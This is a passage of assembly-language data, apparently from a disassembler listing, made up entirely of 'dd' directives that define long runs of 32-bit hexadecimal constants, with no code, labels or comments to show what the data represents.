		dd 3F759070h, 0AC0650F4h, 0B9CC1F7Dh, 0EFBE3000h, 9D286FCDh
		dd 91D53FA5h, 705B150Ch, 0A90116F6h, 6E6A41FEh,	9ED4BA24h
		dd 1150917Dh, 442781F5h, 31FE8E14h, 2F65117Eh, 5543A70h
		dd 0C15597B7h, 4F4D8043h, 9D30F7BFh, 2956290Ch,	0A1740042h
		dd 1817F4A9h, 0B802BCE7h, 0DA03F6C7h, 0E42465ACh, 966E6082h
		dd 13940070h, 98511F65h, 0B2487CCCh, 0FAC5802Ch, 93D82BC2h
		dd 8AC78404h, 0D654907Bh, 825419AAh, 61D025D8h,	0F27852CEh
		dd 0BC3630EAh, 0E950DE0Ah, 0C805A8EFh, 0E84B03BEh, 111C1D07h
		dd 0D57F80D4h, 9952B93h, 81F47392h, 8E78F010h, 0DC55B409h
		dd 52BC112Eh, 0A438E4h,	0CCAC5848h, 14FCC653h, 0C80E8F7Bh
		dd 6110E275h, 0E832FA8Dh, 6E96430h, 83ECE7C2h, 450A591Bh
		dd 9C2F368Ah, 44526E42h, 22B46A0h, 44E940C0h, 17D2319Bh
		dd 0C40B900h, 62A50382h, 1067E772h, 7A8DC780h, 0FE43B1C0h
		dd 9ADF2E65h, 0F178995Ch, 542519CAh, 9E60CCF9h,	49BA2433h
		dd 7EC8406Ch, 0ED032C8Bh, 5E41BEB9h, 0A6183ED7h, 0FD877C05h
		dd 7115C6E9h, 412D7500h, 0DA4721F2h, 377E02DFh,	0CFCC8C55h
		dd 99A2E88Fh, 111D7905h, 3EC280D3h, 120A8782h, 70A2115Fh
		dd 94AF8E8h, 5EB82555h,	0CCBB8044h, 26206F38h, 0C9808273h
		dd 0D3110897h, 85AFE180h, 3A03C1F9h, 42F7BD49h,	0DC889C1Fh
		dd 22048CF2h, 118E1944h, 4A227862h, 0A98F802Ah,	2E43499Fh
		dd 18BB7AE2h, 7701F808h, 30F9B780h, 1D1805AEh, 91C0CD1Eh
		dd 0A849367Ch, 0FFA100E6h, 0AEDC9DBCh, 520088EAh, 921DAD39h
		dd 0B0B68E72h, 0D1B89188h, 10182Eh, 8EDA2305h, 0F5E1206Dh
		dd 810CB24Dh, 0CFB848F4h, 3D07EC26h, 3690AF31h,	0AB2C200Ch
		dd 8E91D813h, 7BE8AC48h, 92BC2C8Ch, 0ECB569F0h,	248ACA91h
		dd 3E9608B8h, 2466840Ah
		dd 7D4465Ch, 0E237F085h, 973698E1h, 7484A0CAh, 9C143Fh
		dd 0F02D2BDBh, 194075Ah, 7CA9701Ch, 0E244CAC1h,	0C832352Ah
		dd 76380892h, 7487F48Ah, 8CA62000h, 5CFDCB9h, 0CC51A27Eh
		dd 54EC0829h, 20C113C7h, 0A46312BEh, 20AC485h, 0A5EE80ECh
		dd 48C8F846h, 8115C556h, 4802BEA1h, 0C6882D24h,	0A1CC000Ch
		dd 382EEF74h, 93099CBBh, 83D0EE42h, 0C91EA4h, 1FF7AB9h
		dd 7382FDA4h, 74DC9005h, 8D063D6h, 89C8159Eh, 1C1918BAh
		dd 0A9BE22CCh, 10C24040h, 0D600FDCCh, 26DCE5A0h, 0FE62758Bh
		dd 244E82E2h, 0BE1E2B18h, 0F4176991h, 474307E2h, 6242E8F0h
		dd 90E3D7FAh, 2A2892ECh, 1240C130h, 38B344EAh, 0BA5C0104h
		dd 91D20E9Ch, 81E6294Eh, 72DD4A08h, 8A49E840h, 85074006h
		dd 0B0C44FAh, 61C41ED9h, 3F78E22Fh, 3D0074C1h, 6B282A72h
		dd 7490BC76h, 1BF1E22h,	0EF78E75Dh, 77733B8Ch, 0A25842E4h
		dd 206C31CAh, 3B4638E8h, 0D917F63Fh, 19D8367Ah,	71BC7D05h
		dd 1480DD89h, 0B116F8A9h, 3F2B1694h, 9D123E8h, 1C038ACEh
		dd 0F04CBA1Eh, 31DF1254h, 83C810CEh, 0E575F9C1h, 2B4D6F0h
		dd 9431594Bh, 441F90h, 724E8100h, 0ADB5BC97h, 6E417206h
		dd 452670D8h, 0E104F102h, 87A4076h, 0E7466C91h,	2D840400h
		dd 2816F930h, 0B30B0718h, 7AEC0148h, 18EBF6C3h,	0F4C088E5h
		dd 82907A02h, 429841B5h, 32E844F0h, 8AC908A5h, 919EB560h
		dd 79BCBA06h, 9DA0766Dh, 0CB6FE658h, 93B88088h,	23CE13Eh
		dd 0A339C419h, 1B207D0Ah, 58ABA886h, 36207C1Ch,	0CE87997Fh
		dd 0DD809ED1h, 32F2D5D4h, 5054002Fh, 6743A864h,	0C8E99735h
		dd 0C006BF55h, 0E6A7C6F7h, 33962A89h, 0E95200A8h, 0DADC84D8h
		dd 89007836h, 0D57B6C62h, 179B840h, 0BABFABFDh,	20DA43B7h
		dd 0C892D883h, 185C1CF0h, 8CD3EC84h, 762860BFh,	6F130246h
		dd 0A6C6F1B9h, 4A047851h, 18077479h, 0A81E7F94h, 41BA00B0h
		dd 0C0269FA8h, 51CA6E1h, 470074E7h, 0AAF6C7C1h,	380A60F1h
		dd 0BE2DC5B1h, 0B06BBA32h, 2084C10h, 0F6C07AE9h, 0C71DA93h
		dd 7AF1BB40h, 0B2F73E18h, 9D07F29h, 14C6BFF4h, 0C7D81220h
		dd 0C88BC760h, 0A9B28482h, 0D9485185h, 6018D1h,	5B80E115h
		dd 0AA72A262h, 0DEFA7012h, 0DBC0709Bh, 8ACA418Eh, 2C623800h
		dd 0D93BB771h, 80FD2E52h, 6E898A68h, 74E8ACF0h,	0F00E846h
		dd 33A76CC4h, 1A0CAB8Ch, 203E802Eh, 7D29C095h, 0F7323CEAh
		dd 68DD6535h, 0E623D42Fh, 265C7900h, 587F3903h,	64FA286h
		dd 2874D714h, 0D1FB100Ch, 12DE70BCh, 47ECC558h,	0D82662D4h
		dd 55116C26h, 52CC1487h, 32310ABEh, 0CC0BC510h,	44DBE31Fh
		dd 942E3E4Ah, 1BA7602h,	4B07013h, 0B6067E2Ch, 0F710427h
		dd 0ED3CC300h, 264C5B82h, 8CD0F8C8h, 0EF862C01h, 73ABBC1Bh
		dd 20708821h, 0A790984h, 30E9269Eh, 103987E7h, 18F0FEA9h
		dd 6A1E23DFh, 0F4D87046h, 0CC081200h, 835A6791h, 41801BB9h
		dd 2913790Bh, 909AADB6h, 304C09C7h, 0E39EA92h, 3AB44D01h
		dd 10D952F1h, 8F74A501h, 0D64A8C31h, 8840C050h,	0F4956B27h
		dd 43807991h, 77E1D040h, 96CBDB3Fh, 3CD18559h, 240173h
		dd 0ED7918BEh, 0E0A618DFh, 0B70820h, 6C78886h, 71A9BB39h
		dd 0CBB06C01h, 0A53A3879h, 30F74C52h, 0E114425h, 7F88B98Eh
		dd 442D6780h, 2ECE959Dh, 3F3C14A3h, 2E5CD4A4h, 32465E2Ch
		dd 4585F902h, 0F048D292h, 0CD5D8276h, 2E460984h, 0CCB020EFh
		dd 0E79ADCh, 5E4FEAAh, 281F3C75h, 520A5F03h, 0D8F76651h
		dd 0A4BDF455h, 0A4C725BCh, 42D63C90h, 0EF283500h, 9E4A8E45h
		dd 1EB8C5D9h, 9B805281h, 0ACB880F0h, 9AB702Ch, 57D09CD6h
		dd 0E6EA0823h, 26616001h, 2D638F94h, 0F8A75073h, 3BD4D7C0h
		dd 0A5780067h, 3E7038E7h, 5913BE1Eh, 2042D6A9h,	0E473E6A3h
		dd 626E3C08h, 0BC39905Dh, 0B2F6C602h, 0AC8073B1h, 328FA620h
		dd 3EC5CB04h, 48EC11Fh,	4AC07A88h, 3752F8BEh, 10597B41h
		dd 357738A0h, 446FD12Ch, 44843613h, 6AD278C1h, 0EF300602h
		dd 21F6FC7Ah, 0E791D9C3h, 7AF7BD00h, 38CFE9DFh,	670BA7EEh
		dd 648EE0C7h, 9AF80074h, 9D28D9C4h, 9C00F583h, 30EE904Bh
		dd 4C0847F1h, 105CC470h, 0E8C79ECh, 3888BDFDh, 41B009AAh
		dd 79C12EFAh, 0DEF1381Ch, 7DF7EC31h, 30BC502Ch,	2D1E68Ch
		dd 0AACEA265h, 0AC828609h, 6AE0B6A0h, 74805C3h,	0BC684924h
		dd 8E7500EAh, 966E6029h, 0A1509D43h, 6D4099E0h,	0F4C51DF2h
		dd 38241A84h, 0D344E867h, 13B0FA60h, 0A27A8203h, 0C086374Ch
		dd 5B69C336h, 1F9C0018h, 8E51ED1Bh, 0F47DAC14h,	44288364h
		dd 3121EA13h, 3064107Ch, 0E5BC5044h, 8A781FCCh,	874C9AFh
		dd 7F91B49Fh, 0EE3A7280h, 2E24F03Bh, 89803CF4h,	0C9B0E284h
		dd 98790013h, 0B8251C66h, 1705D19Eh, 71BC4094h,	0F802F484h
		dd 590395E6h, 18D379ACh, 6EC000D8h, 0F5A8B2CAh,	45483829h
		dd 728E8134h, 0B204C736h, 23940090h, 0E5D1064Bh, 426F044Ch
		dd 90849F8Fh, 3EE20FC0h, 0C907183Ah, 7AE880B4h,	438BF6C7h
		dd 0E122DAh, 0B77AF0BCh, 0EDD60E84h, 80428505h,	48CE25D5h
		dd 0B7C02A88h, 7DDCAC48h, 565F16B9h, 92E4009Dh,	8D7DD7Ah
		dd 0C76FD802h, 0F2067B8Fh, 25ED2024h, 74DDB211h, 2952E006h
		dd 3B00186Ch, 6F387DE6h, 186EC134h, 299B89C7h, 81C03A96h
		dd 1EC4BB4Fh, 7AAB0337h, 2E416B89h, 0E94354E1h,	7895FD1Ch
		dd 8C7FBC98h, 333E6000h, 3F19BD1Fh, 8BC71A03h, 18ED810Bh
		dd 0EFB962C0h, 0DE7028Dh, 0E8F249BEh, 0AC8C2005h, 61712C04h
		dd 0D8BC82F0h, 1044A544h, 0F81A2200h, 0D3C2728Dh, 403880BDh
		dd 9C3E745Ah, 85007F23h, 50FA9CDFh, 0C4CC532Dh,	29D0692Ah
		dd 7178E743h, 0D18E2h, 0EB6735B1h, 0F2D5E9F7h, 42E1990Fh
		dd 0A1AA0320h, 0CC610B10h, 10CD6F70h, 0B5C120C7h, 8602DABh
		dd 51BE280Eh, 564B6B1h,	0FDC9AFAh, 0C200D4ACh, 349886E8h
		dd 2ABEF204h, 0DCA33D94h, 0F239FA84h, 0CEFD106Ch, 0E3908C12h
		dd 4B200908h, 54E4421Ah, 7417E9F4h, 4F807A11h, 4D1470D3h
		dd 5CA5932Ch, 53031311h, 18D4395Ch, 1E289CA8h, 45902602h
		dd 40DE1A8Ah, 0DE923B0h, 0D42EE23Ah, 0D8082A10h, 980AC80h
		dd 2C88BBFAh, 415A1F80h, 232EC8B1h, 0D4E8A405h,	4E853000h
		dd 58484229h, 0E1BCDC18h, 63CA008Ch, 0C09F3576h, 5F053BCFh
		dd 0F8552F6h, 3F918C9h,	4284B054h, 9DCB00Fh, 0A471BFh
		dd 0CA76FF06h, 2203A7E1h, 0E979A561h, 98489302h, 96DC1CF3h
		dd 801111D8h, 0F6C17AEAh, 2CDA5C9Bh, 7AF2BAB0h,	9C898500h
		dd 67A1C56Fh, 0C2E22545h, 4130E4C1h, 1D731F4h, 707C2DC1h
		dd 0CBAA9880h, 8D1DE9FEh, 3F9E0580h, 4A6428Fh, 38BD23E1h
		dd 103FF4B8h, 330B1D1Bh, 0CF8B31C0h, 66043A8h, 0D284AA7Ch
		dd 62751B5h, 0DC48A02Eh, 0A2C0EB2h, 0A4C6E928h,	17F6170Ch
		dd 1A08803Eh, 19C9DA8Eh, 0E4D4457Dh, 0A5496030h, 74D5AC6h
		dd 90F10514h, 998C9B33h, 0C0CB4329h, 9218E8D1h,	0FCE4E000h
		dd 98D1BE42h, 9C6A768Dh, 0BD8B3F20h, 7C647E2Ch,	7F03AD00h
		dd 35016384h, 0BE0A79FDh, 5026D6A0h, 1A056E81h,	58B37A98h
		dd 3AF33910h, 0C30391A4h, 1D48B2Ah, 0BA84E0C7h,	2F31DE79h
		dd 7823E03Bh, 6B4D2600h, 0B9096E8Dh, 187CF95Ch,	7957900Eh
		dd 2CA20458h, 8E2FB731h, 0C0E688D4h, 21FA6A36h,	0F0D41F0Ch
		dd 18372442h, 29458C43h
		dd 0F60F51F4h, 5F7F8325h, 81194D1Bh, 90556E84h,	47D0CC80h
		dd 0D1B0B17Bh, 244A187Ah, 5E241822h, 0A00EE946h, 0B140D243h
		dd 2D83DCD7h, 2010EE30h, 0B2155271h, 0A7C7242Ch, 6DB26190h
		dd 0E6430087h, 955218D0h, 911C1124h, 2F3C3197h,	4008BC18h
		dd 70BB44EDh, 400054FCh, 0CCA22793h, 0B89DE65h,	4241BA85h
		dd 44A94420h, 561E739Ch, 1EC2F52Dh, 5CA4D6EDh, 599E81F8h
		dd 0CC43FF65h, 3EFADAEAh, 8E0DED04h, 0CCA22379h, 0E330CFF2h
		dd 3E090C8Eh, 0CC19CB1Eh, 0B265880Fh, 0D2A3E08Bh, 72B51Ch
		dd 5E8427A5h, 18343B46h, 8084379Dh, 9DAA762Fh, 0E898799Bh
		dd 803444h, 0EDF75FD1h,	6B0553BCh, 91976500h, 2BA00C3Bh
		dd 0CBE21341h, 26540223h, 0AC785A72h, 92CAA083h, 0C508B0D8h
		dd 828302C8h, 0EC6A426Eh, 20B7BCC0h, 0F78C941Eh, 0B765369Fh
		dd 0CFDF00C4h, 491B7282h, 0F4BEA2F2h, 1D04676h,	0ED44C15Eh
		dd 8C20B550h, 10A03A86h, 280F0B7Fh, 48AB1A6Bh, 180938E4h
		dd 149FBFh, 59BAA953h, 26692ED8h, 78467624h, 0EA994601h
		dd 80149E37h, 0ADB78319h, 0FC17E95h, 0AC8DE67Ch, 0BE61CE20h
		dd 0A70C0A91h, 91C21F26h, 0ED640041h, 0E1B165FAh, 0C6E6884Dh
		dd 0C30077EAh, 0A917E8C7h, 7E678FEh, 10747CDBh,	50480B18h
		dd 8D7C7924h, 1284C180h, 14814D82h, 0D2E8ACB4h,	1F45008Ch
		dd 89554DD3h, 6458DDA3h, 2E8A10DCh, 6EA54400h, 0C71EC633h
		dd 9E380E66h, 0C2B60741h, 14321AFEh, 0E2F480DFh, 38DF25EEh
		dd 50A94A09h, 0F862664h, 968989F8h, 80845062h, 0D3E740BFh
		dd 181C19FAh, 0E93596DAh, 0A200F563h, 84743F82h, 3CF844ACh
		dd 0E400F2DBh, 0A069C82Ch, 0BC0B23C7h, 1FF31D59h, 80791120h
		dd 8672EF0Eh, 7E26219Bh, 2382F111h, 0F9421844h,	49072067h
		dd 4AB1442Bh, 0A02F5A31h, 0C600CFF7h, 933C83D8h, 9601FA17h
		dd 972528h, 35823391h, 58524138h, 8F61024h, 21793C40h
		dd 95B880D2h, 0A11980F1h, 5580EE06h, 0E1B41750h, 0F4B50676h
		dd 8CA121BBh, 4C4AC0C8h, 0C9DF3327h, 21A59B7Ch,	30E458C5h
		dd 7699FD60h, 862BBC03h, 0A522E588h, 5596F5C1h,	30B92C52h
		dd 2313CC18h, 808B2ABEh, 8358C130h, 0ED4C9840h,	24D80159h
		dd 16A4FC1Dh, 0D4D08851h, 7A64B0E4h, 0D62A0091h, 20433F09h
		dd 1305EF1Ch, 0C9964A14h, 1C9528E4h, 0A1C02698h, 58187BF9h
		dd 62269375h, 0FC9938E2h, 4C40A551h, 70D5038h, 0BFC00E59h
		dd 804D45FBh, 0B21C2DB5h, 0FACFCD02h, 0C485A3B5h, 74749EA4h
		dd 9D023346h, 0E04649BEh, 62920440h, 0F0C80E35h, 0D875C481h
		dd 0C4D06879h, 18C2DE8h, 0CD30EAF6h, 2B6D2144h,	8C81CC16h
		dd 79EE41E1h, 18EC7994h, 0C8BE00CAh, 0BAD0C710h, 1C987CADh
		dd 0BE11600h, 0F4B0519Ah, 789C0BDh, 0AAF6C61Dh,	28D679FEh
		dd 869EC4C8h, 0B6CB59Fh, 0C0CC2798h, 91F4959Fh,	0BA4E802Eh
		dd 24C50B97h, 1610B545h, 0F7B84086h, 0BFF45715h, 0A90E64A0h
		dd 0B3274777h, 913CE4C5h, 187A713Ch, 97201F7Eh,	7CDC240Fh
		dd 186018EFh, 59119DE0h, 6D0028ACh, 2D882F3Fh, 0BA94274h
		dd 70CC9DD0h, 18017064h, 79BC7DF7h, 422F7729h, 0B69F0C4Ch
		dd 16DC147Ch, 0A41E416Bh, 78004D1Ch, 2735177Eh,	73681B7h
		dd 8F5D9C04h, 375F9263h, 0CDB6FCE1h, 0A108D017h, 4095B518h
		dd 160559D9h, 1FA3643h,	0C54AE097h, 86B9B879h, 93C76F4Bh
		dd 472726F1h, 0B94840A8h, 0F612B091h, 28E2CC42h, 8530E8F2h
		dd 339E0078h, 0A965A753h, 265EFA25h, 0A046700Fh, 0C9B2F60Ah
		dd 4AF4BC6Eh, 314674FCh, 5F135A1Fh, 56FE520Dh, 1AE4C85Ch
		dd 2B00FC90h, 96AF670Eh, 7E3CCB47h, 9A6609BBh, 2C658DDCh
		dd 0A0607CE4h, 9A728134h, 11505D01h, 0F788941Fh, 4C0209AFh
		dd 0E45284h, 0FD71F8BBh, 0B7A62ECh, 969B9C6Fh, 7FD86C10h
		dd 47E0A300h, 0D7BFD575h, 7E457C9Fh, 0DE685AB2h, 797481ACh
		dd 262088F2h, 0C2EE4EDAh, 0D8514D18h, 0EF18D1D1h, 0E293012h
		dd 0D0CD9004h, 860F2B00h, 2A001887h, 1E62DB2Fh,	5C7D3B38h
		dd 7BF83C7Fh, 17CA168Ch, 0C0F09B4Bh, 0B3CAF5EDh, 0A45A09E0h
		dd 7CE6F0BEh, 20E4F85Ch, 0DD172D77h, 12F85466h,	0B6CC4380h
		dd 18F75E60h, 0ADCFACAh, 6F71764h, 7C0E87F0h, 40DEE12Eh
		dd 3D46C1Eh, 0C7658CA9h, 5C94F4E0h, 89AC00ADh, 4936E300h
		dd 92182FBFh, 0F4C20678h, 0E8BEE5F7h, 0E47E0520h, 0BFED153Eh
		dd 43049407h, 823A9AE2h, 30644608h, 0B151BE0Ch,	48A4A0CFh
		dd 0D2EC143Eh, 8049608Ch, 5299683Ch, 70420931h,	0C8022602h
		dd 7654CCF0h, 86131B90h, 0BB0E7Fh, 0C6A9405Fh, 0A658931Fh
		dd 8E2DE858h, 5B780F00h, 25762099h, 0C4F22062h,	0A7C1102h
		dd 204483F4h, 2D72F9B7h, 528098C2h, 280561Dh, 44D11E13h
		dd 0CA44BC47h, 5AF94A60h, 0E8D1754Bh, 0F904B5F4h, 0C5DB888h
		dd 0DBFEF6Fh, 6A268D4Ah, 388F8CA6h, 0A0917242h,	0E1100374h
		dd 0B318CD77h, 0A5B90E1Eh, 0B029C015h, 0D7C4D28Ah, 2903DA7Eh
		dd 0C58FF493h, 81ACE1C2h, 0A547F8D8h, 60D0C47Ch, 0A158801h
		dd 781182F6h, 4E1C2EA4h, 0C4EE6CE0h, 8512C9B3h,	80986E12h
		dd 0AE421975h, 0C8BCD8E0h, 0E8B9A593h, 0E8192ED1h, 505CB9B5h
		dd 1E505B0h, 0F0013B93h, 79DD823Ch, 613FD100h, 0E0C6EF01h
		dd 0AC76BC8Dh, 23702E2Eh, 45AA007Eh, 0F3DE5FB3h, 79BE1D05h
		dd 0FCE07595h, 3CE62F38h, 0FA103CC7h, 89ACB0D5h, 5E90B800h
		dd 0FAA68649h, 17A52952h, 1B5000F0h, 2AD661ADh,	6300B273h
		dd 44C1BB82h, 330245A1h, 84903FC7h, 0B76888E5h,	415012BFh
		dd 0EE180D7Ch, 0F6BD7A09h, 67A0D9FBh, 8480DBBEh, 1466EC43h
		dd 0FAF7DD00h, 6E69FEA8h, 0B300122h, 466B2816h,	0EC4428E0h
		dd 0E7028C2Ah, 0EC4215BCh, 3F42C0A2h, 203D038Fh, 78CDA96Dh
		dd 232C2EA5h, 5E17002Bh, 2A85159h, 0FC5DC90Fh, 604909BEh
		dd 4B628E30h, 6B41F8Ah,	19DE9D71h, 0CC6F4A7Ch, 0E57822D0h
		dd 0F430D479h, 3A373905h, 54C06089h, 97AC8456h,	0BE805435h
		dd 493788B8h, 0F672258Eh, 0B086D400h, 0E62F91CDh, 0C0406D08h
		dd 6EBC565Ah, 0F80C3B05h, 8CB0B952h, 0A6AB1D77h, 2EE08084h
		dd 80245905h, 0E1ED4A27h, 8896163Ch, 3E6081B6h,	41E6C579h
		dd 0D560D994h, 0F2A47223h, 343930CFh, 3837160Bh, 6E88103Ch
		dd 0C8825442h, 804CB41Eh, 8E430E4Dh, 5658A617h,	6C6F00B3h
		dd 7D18C11Eh, 40A44B08h, 0BE46CF10h, 9D00E398h,	85A6692Ah
		dd 7D80B9E5h, 8A4509F8h, 900406CEh, 0ECB4C498h,	8CD0F848h
		dd 81A07300h, 0DBE710FEh, 23C42F95h, 0C860C84Dh, 0B4A28A48h
		dd 0BA093D6Ch, 8CD875CDh, 0AF43A901h, 37965679h, 0AD2DB187h
		dd 0D223A175h, 0E563C8CBh, 9339581Ch, 0B7BA6185h, 0CF88B8CEh
		dd 0B5DA0DC0h, 0FC09093h, 42114C10h, 0B8DBD625h, 9C9B4E80h
		dd 0B2065DC0h, 990ECE41h, 0C0BADE89h, 0C0268553h, 0C8715A10h
		dd 0D1023CACh, 0E73B344Fh, 90B407Ah, 0C3490CDh,	41382B57h
		dd 39F3B679h, 906B4E4Ch, 0A3AC6712h, 302DA290h,	5D0468C0h
		dd 8EB55441h, 0A31990C0h, 1C896F0h, 5008241Fh, 4E102831h
		dd 79C8B88Bh, 561E50C1h, 0CD04213Ah, 0B39DD471h, 0CED0E900h
		dd 779C35E4h, 0A2D92FE5h, 0D07E40C2h, 11FC97E9h, 60218ED1h
		dd 7906A920h, 0C07A6F1Dh, 0D9B6891Fh, 2ED9FCF1h, 48046018h
		dd 0F1930419h, 0DE9A2881h, 78729601h, 0BD1F1884h, 5A619A9h
		dd 85ADF192h, 0E0C8A67Bh
		dd 754746Eh, 12C7652Eh,	2024C03Eh, 924A70E8h, 818420E3h
		dd 0FA454211h, 0F810688Ah, 0D7924AAh, 645B25C4h, 25E41D70h
		dd 4C00EAE1h, 26B664FEh, 91341D95h, 6C1280D3h, 701E3975h
		dd 0BC230455h, 4CD9171h, 9082A80Ch, 93A620C6h, 0EC0255FCh
		dd 9079847Fh, 44D0D48Bh, 0E12040CCh, 65A5754Eh,	8276399Ch
		dd 0F88FE338h, 353742C1h, 0DFE14282h, 948014F2h, 0D8201AE2h
		dd 114A10D7h, 0B8A51685h, 3EB084A7h, 38147313h,	903C1D77h
		dd 5C9E5AD4h, 0CDF65282h, 0B13C1057h, 0DA12481Dh, 0A1FD7C00h
		dd 76E159BAh, 0FCF3D891h, 90382260h, 9D2E3D00h,	27DB8628h
		dd 0B6081684h, 0B3BCA6ACh, 0ACA3F00Eh, 2E4B29h,	8BEB2740h
		dd 0DF01D6E6h, 71A86802h, 0BC66246Ch, 646AC2E0h, 4338B708h
		dd 4A8C8209h, 2C0ADC3Eh, 1013E690h, 48D060FEh, 0AF5B2085h
		dd 59AD6C4Bh, 60FCF3BCh, 9A7593Fh, 372B9933h, 0E7919C82h
		dd 0A2FA8E01h, 0F7054C68h, 5C6E81Fh, 0F9D90BF4h, 0A34B86Ch
		dd 0F12DA794h, 0AC5580A8h, 629B4208h, 0BB2A3903h, 0C98EC4C8h
		dd 788DBD12h, 2AD02B1Eh, 8C76083Ah, 68459F00h, 0A69D1FD2h
		dd 3CA8020Ah, 26617DF7h, 465EF054h, 0C90E007Fh,	2B4576B3h
		dd 9FD0920Fh, 58E5B012h, 0FB617A64h, 0D8F9D63Bh, 0F2317104h
		dd 38408C01h, 0B6F19336h, 84267CF1h, 50FE39F2h,	0C6B04D00h
		dd 0B7F952F6h, 0E2BDF880h, 2498DA36h, 0AEE11E05h, 94E91844h
		dd 0D80526ACh, 3A91E56Fh, 7006DCFCh, 0C10F9DE7h, 730EF07Ah
		dd 0C04E3F65h, 481D2943h, 93DE1D90h, 0F4578534h, 1D6C12BCh
		dd 4A1C408Ch, 0B615F8A8h, 0D3C9AC96h, 0DD2E5090h, 57A6B900h
		dd 0B35E5149h, 0D95210D6h, 0F9B70681h, 0BE60213Eh, 26666084h
		dd 912D5280h, 1D10687Eh, 0B0A41Fh, 27495611h, 0FDFD9DCh
		dd 32195103h, 0E875B2BBh, 1793EB7Dh, 303D380Dh,	2D631E9Ch
		dd 6AF068E5h, 467CE060h, 225B007Eh, 0F3A95904h,	61522570h
		dd 0D9C71881h, 0BCE42CA5h, 842E8C32h, 0E1114C1h, 0A7014712h
		dd 0BCC8B040h, 0B6AC4B7Bh, 0F38FB0C0h, 245E02EEh, 11C1F52Fh
		dd 0F85B844Ah, 1C38C70h, 0BBB4DD4Ch, 206C91D3h,	28509280h
		dd 102C1BFCh, 4674189Bh, 0E2080082h, 4174D346h,	9DB716CCh
		dd 8DCC0515h, 181CB486h, 465C089Eh, 0D27C04ECh,	8481A7F2h
		dd 5C321510h, 97E7BEE5h, 949B5E00h, 2B259F8Eh, 880FD806h
		dd 0B52201C4h, 5E8069DEh, 1A9559D3h, 756D0E6Bh,	468FE25Ah
		dd 0BCC43E00h, 0E086EA6h, 8E07B963h, 0FB16C183h, 99C2E1DAh
		dd 0EF40D9BAh, 32B489E2h, 0BE061E00h, 3E9F5ECh,	0FD93B27h
		dd 0AEED6F86h, 17A268F3h, 3B695D30h, 89061915h,	660E498Dh
		dd 8C665E00h, 85B58BD9h, 8914CE08h, 0C13F1C6h, 4C1F603h
		dd 5B0C840Fh, 0E56BEF7Fh, 9EA90D07h, 1EEFF066h,	0B7030F61h
		dd 8D95FFFAh, 0BE6A5B1Ah, 4F00856Bh, 0AA95E9ABh, 8C0D25A4h
		dd 5E6083C7h, 209D8BD4h, 612D2CF5h, 1797775Bh, 2C831D11h
		dd 99E82B9Ah, 0E91E88B9h, 523EBB64h, 3114E258h,	1B5412Dh
		dd 343D0030h, 0F01ED008h, 0E2435B38h, 54BE301Bh, 0A2BA8800h
		dd 9A683E6h, 1AF8A385h,	5C51E968h, 79F1F9DDh, 5A591815h
		dd 0EE56EB3Fh, 4A3A80FAh, 5D029225h, 8B8DB270h,	440E47C0h
		dd 5D2D601Ah, 63E907B1h, 9E8BB247h, 0C55FD84Bh,	601AC401h
		dd 19A601h, 0B54C2C09h,	0DF985C7h, 11F582A0h, 6036F624h
		dd 23B803DEh, 9DBD8BAFh, 0F0CF5086h, 1D8D0629h,	32817E10h
		dd 0D00C14EDh, 850F0D68h, 9C914770h, 0E51814F1h, 0A802E6F8h
		dd 0FF5436AAh, 57328585h, 0D2E8E4BEh, 80C53C3Bh, 2BC0A5CEh
		dd 9E6DCAh, 7C13D98h, 5F960EEBh, 61BD0315h, 0B5FF1487h
		dd 66600925h, 8D02838Bh, 61CF2465h, 26C108CEh, 8980F1Fh
		dd 2489536Dh, 89DB4585h, 5B82905Fh, 29002C55h, 0D4172D9Dh
		dd 0DE0BF70Ch, 655FB05Dh, 601BC419h, 14FF1B0h, 0A19CC92Fh
		dd 20F98BFCh, 7DD6E19Fh, 8758D1BAh, 7AF0C74Dh, 0F067F6Ch
		dd 0EE89B35h, 0E706001Fh, 7B690B21h, 0E200DA4Ch, 0A05237EDh
		dd 0BAEBEA2h, 5E2F70C7h, 350C0706h, 2B2D68C4h, 0F6F50C19h
		dd 0F02D0009h, 0CF681FCh, 3E1DDF39h, 0E90F714h,	0FB276937h
		dd 8531F270h, 222651B1h, 0CA4F661h, 4D00DE44h, 9122A4B9h
		dd 3137410Ch, 75749F16h, 0DF810019h, 5B1DFE56h,	46BFB47h
		dd 0CD059B0Fh, 41AB0E5h, 62D21EAh, 7A2910E8h, 0FC1300DFh
		dd 0BC59B84Eh, 6A01AEE5h, 0D6BEAFF7h, 2D0663Eh,	0C4D6B76Dh
		dd 89B53141h, 0E95FA550h, 0FFF73849h, 76BABDEh,	0A5663A02h
		dd 0A39DC18Bh, 0C08B1411h, 61F30F21h, 1D70FFEBh, 0AD458AB0h
		dd 8582F217h, 50AEA6DDh, 3582D2h, 489F7EFh, 78279B24h
		dd 0BE24AC92h, 2528BDF5h, 0B368A829h, 1C757889h, 91CF8469h
		dd 292D80C5h, 4E6894ADh, 0FF140C01h, 615A99F4h,	0CD6A4020h
		dd 6F0AF1ADh, 0BEAC3AE9h, 0FC4CC503h, 0F05E871h, 325AE51Bh
		dd 4A01EF2Bh, 442011B5h, 24990393h, 8EB42203h, 0C01C88F9h
		dd 8C57034Ch, 6DB19905h, 0CC040153h, 83001E65h,	296005C0h
		dd 21B98512h, 1F8DAC21h, 0C8616102h, 508F8125h,	4F71BF66h
		dd 383AD555h, 30011823h, 0FF32D0A0h, 5AD56A97h,	0F3DD4CCEh
		dd 0BE4958E6h, 416FC804h, 92888D0Fh, 25951089h,	20FB5B15h
		dd 0D9B50B91h, 5F75226Bh, 8C065EDh, 4D952948h, 0F926D221h
		dd 0A1ED14EEh, 209C289Eh, 8D0F3181h, 0F594B69Dh, 190D31AFh
		dd 0F96FD3FFh, 0B8ACC9h, 95E1ACCBh, 116048F2h, 2E830F25h
		dd 18CC69Eh, 859AC90Dh,	309B628Dh, 0BF8026A9h, 2EE202CEh
		dd 90CE965h, 906C5F0Bh,	0D83E25FFh, 0A0B50EEh, 5D5733E7h
		dd 4ACBD7E8h, 0DB5D7F01h, 0E5AC9F5h, 44F1FCh, 6BD8A4FFh
		dd 5E9C172Bh, 86E3E5B1h, 0F8A9046Ah, 95A59D8Bh,	0CFB6BB3Bh
		dd 5579A4B0h, 0A7ED9200h, 81D25209h, 9401E0E3h,	0F700F401h
		dd 88670EAAh, 1D4EC77h,	0CAA1D1BFh, 70DB0B41h, 0FC88C846h
		dd 4BBD1483h, 0DE679801h, 291A7D84h, 511BC63h, 8669AC13h
		dd 0B0A5BBE5h, 2DE0EA76h, 0D9015650h, 87CEE46Ch, 0E5717C5Ch
		dd 47395807h, 601AC494h, 9B3BE82h, 0A3AB398Dh, 2053202h
